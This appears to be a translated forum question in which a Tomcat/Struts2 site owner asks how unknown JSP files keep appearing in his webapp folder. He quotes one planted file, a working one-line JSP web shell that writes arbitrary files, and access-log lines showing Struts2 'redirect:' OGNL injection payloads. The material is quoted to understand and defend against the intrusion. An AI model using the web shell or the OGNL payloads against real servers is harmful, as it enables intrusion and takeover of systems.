我尝试使用带有 Apache 2.2 前端 tomcat 的 tomcat 7x 在公共域上托管 struts2 应用程序。
我在我的 Web 应用程序文件夹中看到了一些恶意活动。
每次我看到一些文件,如 indcx.jsp、maneger.jsp、uplod.jsp 等,以及许多这样的未知文件都被上传到 tomcat/webapp/application 文件夹中。
我每次都手动删除这些文件,但想知道我们是否有任何设置或配置可以避免此类恶意/黑客活动和上传此类未知文件。
编辑
我又看到了这样的文件,文件的内容如下
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
我的问题是有人怎么能把这个文件上传到我的服务器上?
再次编辑
经过仔细分析,这看起来是一个 struts2 或 xwork 安全问题或漏洞,这里是所有日志,它们讲述了剩下的大部分故事
60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] “GET /common/test.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2. dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter() .println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 74
60.15.137.72 - - [27/Jan/2014:17:51:48 +0530] “GET /common/test2.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2. dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter() .println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 74
60.15.137.72 - - [27/Jan/2014:17:51:49 +0530] “GET /common/test3.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2. dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter() .println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D HTTP/1.0" 200 74